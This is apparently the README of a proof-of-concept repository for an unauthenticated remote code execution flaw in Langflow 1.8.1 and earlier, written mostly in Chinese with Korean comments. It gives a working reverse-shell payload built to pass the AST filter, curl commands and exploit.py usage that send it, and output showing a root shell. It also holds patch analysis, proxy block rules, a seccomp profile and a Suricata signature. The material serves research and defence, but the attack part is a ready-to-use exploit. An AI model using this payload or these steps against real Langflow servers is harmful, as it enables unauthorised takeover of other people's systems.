
Langflow <=1.8.1 中未认证 RCE 的 PoC 漏洞利用,包含源码级根因分析、AST 感知的反弹 shell 载荷、Docker 实验环境、补丁差异和检测规则。
免责声明
本仓库仅用于安全研究与教育目的。
请仅在隔离的实验环境中使用。
在未经授权的系统上使用,属于违反《信息通信网法》的行为,将受到刑事处罚。
| 项目 | 内容 |
|---|---|
| CVE ID | CVE-2026-33017 |
| 受影响软件 | Langflow (AI 工作流构建器) |
| 受影响版本 | Langflow ≤ 1.8.1 |
| 修复版本 | Langflow ≥ 1.9.0 |
| 漏洞类型 | 未授权远程代码执行 (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (严重) |
| CISA KEV | 已收录 |
POST /api/v1/build_public_tmp/{flow_id}/flow
这是用于构建 Public 流程的端点,设计上无需认证即可访问。
通过直接追踪源代码确认的执行路径:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
prepare_global_scope() 函数不会执行提交代码中的所有语句。
在 AST 解析后,仅筛选特定节点类型并执行:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
可执行的 AST 节点类型:
结论:载荷必须以
Assign形式(_r = ...)编写才能被执行。
单独的函数调用(os.system("id"))会被归类为Expr节点,从而在过滤器中被筛除。
在演练过程中尝试了多种载荷方式,并从源代码层面查明了各自失败的原因。
subprocess.Popen + wait() (失败)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
失败原因:Langflow 工作线程监视组件的返回值,
超时时强制关闭套接字。_proc.wait() 阻塞变得毫无意义。
os.execve() (失败)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
失败原因:根据 POSIX 规则,在多线程进程中调用 execve() 时,
除调用线程外所有线程都会终止 → uvicorn 工作进程整体崩溃 → HTTP 500。
os.fork() + execve() (失败)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
失败原因:uvicorn 检测到子进程异常退出,
从而重启工作进程 → HTTP 500。
threading.Thread(daemon=True) (失败)threading.Thread(target=_shell, daemon=True).start()
失败原因:daemon=True 线程会在主线程 (Langflow 工作进程) 结束时
随之销毁。在尝试 connect() 之前线程就已终止。
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
选择 daemon=False 的原因:
daemon=True → 随 Langflow 工作线程结束而一同销毁daemon=False → 与工作进程相互独立的生命周期 → 可维持套接字连接CVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
在攻击者容器中执行:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
选项:
预期输出:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
仅在需要确认漏洞是否存在时使用:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (从源代码直接确认):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
采用直接移除参数本身而非简单校验输入值的设计是正确的,理由如下:
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
文件位置:nginx.conf (新建)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
注意:同时需要阻断 Langflow 7860 端口的外部直接暴露才能有效。
文件位置:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
如果没有 Public 流程,端点将返回 404,攻击无法发起。
应通过运维策略禁止创建 Public 流程,或将现有流程改为 PRIVATE。
以 EC2 环境为例:
인바운드 규칙:
포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)
即使 RCE 成功,也要阻断外部回调:
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
或者 docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
使用 seccomp 配置文件阻止危险 syscall (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
可疑 HTTP 请求:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Langflow 服务器日志模式:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
本仓库并非简单执行 PoC,而是通过源代码级别分析进一步查明了以下内容:
发现 AST 节点过滤
通过源码分析直接确认了 lfx/custom/validate.py 中的 prepare_global_scope() 会忽略 Expr 节点。由此查明了已有公开 PoC 中单独的函数调用载荷在此环境中失败的原因。
载荷失败原因分析
从 uvicorn 多线程结构及 POSIX 规则的视角,分析了 Popen+wait(), execve(), fork()+execve(), daemon=True 线程等 4 种方式的失败原因。
直接确认补丁代码
在源代码层面直接确认了 1.9.1 的 chat.py 中 data=None 硬编码及参数移除,并分析了补丁的设计意图。
| AST 节点类型 | 示例 | 是否执行 |
|---|
FunctionDef | def _shell(): ... | ✅ 执行 |
ClassDef | class ExploitComponent(Component) | ✅ 执行 |
Assign | _r = os.system("id") | ✅ 执行 |
AnnAssign | _r: int = os.system("id") | ✅ 执行 |
Expr | os.system("id") (单独调用) | ❌ 被忽略 |
| 选项 | 说明 | 默认值 |
|---|
--url | 目标 Langflow URL | 必填 |
--lhost | 反向 Shell 回调 IP | 必填 |
--lport | 反向 Shell 回调端口 | 必填 |
--flow-id | Public 流程 UUID (省略时自动生成) | 自动 |
--user | 管理员 ID | admin |
--password | 管理员密码 | admin123! |
--no-listen | 禁用内置监听器 (使用外部 nc 时) | False |
--timeout | HTTP 超时 (秒) | 30 |
| 项目 | exploit.py | poc.py |
|---|
| 目的 | 获取反向 Shell | 确认漏洞是否存在 (盲 RCE) |
| 结果确认 | 直接通过攻击者终端 | 服务器日志 / OOB |
| 监听器 | 内置 | 不需要 |
| 多目标 | 不支持 | 支持 (--url-file) |
| 演练用途 | 证明影响范围 | 证明漏洞存在 |
| 项目 | 1.8.1 (存在漏洞) | 1.9.1 (已修复) |
|---|
接收 data 参数 | ✅ 接收 | ❌ 从签名中移除 |
| 执行客户端节点定义 | ✅ 可以 | ❌ 不可以 |
| 流程定义来源 | 客户端请求体 | 仅数据库存储值 |
| 未授权 RCE | ✅ 成功 | ❌ 已阻止 |
| HTTP 响应 | 200 + Shell 连接 | 200 (空构建, 无节点) |
| 措施 | 类型 | 效果 |
|---|
| 升级至 1.9.1 | 根本解决 | 移除 data 参数 |
| Nginx/Apache 阻断 | 访问阻断 | 阻断攻击路径 |
| 不使用 Public 流程 | 访问阻断 | 端点返回 404 |
| AWS 安全组 | 网络阻断 | 从源头阻断外部访问 |
| 阻断出站流量 | 事后阻断 | 阻止反向 Shell 回调 |
| 容器加固 | 最小化损失 | 阻止提权/syscall |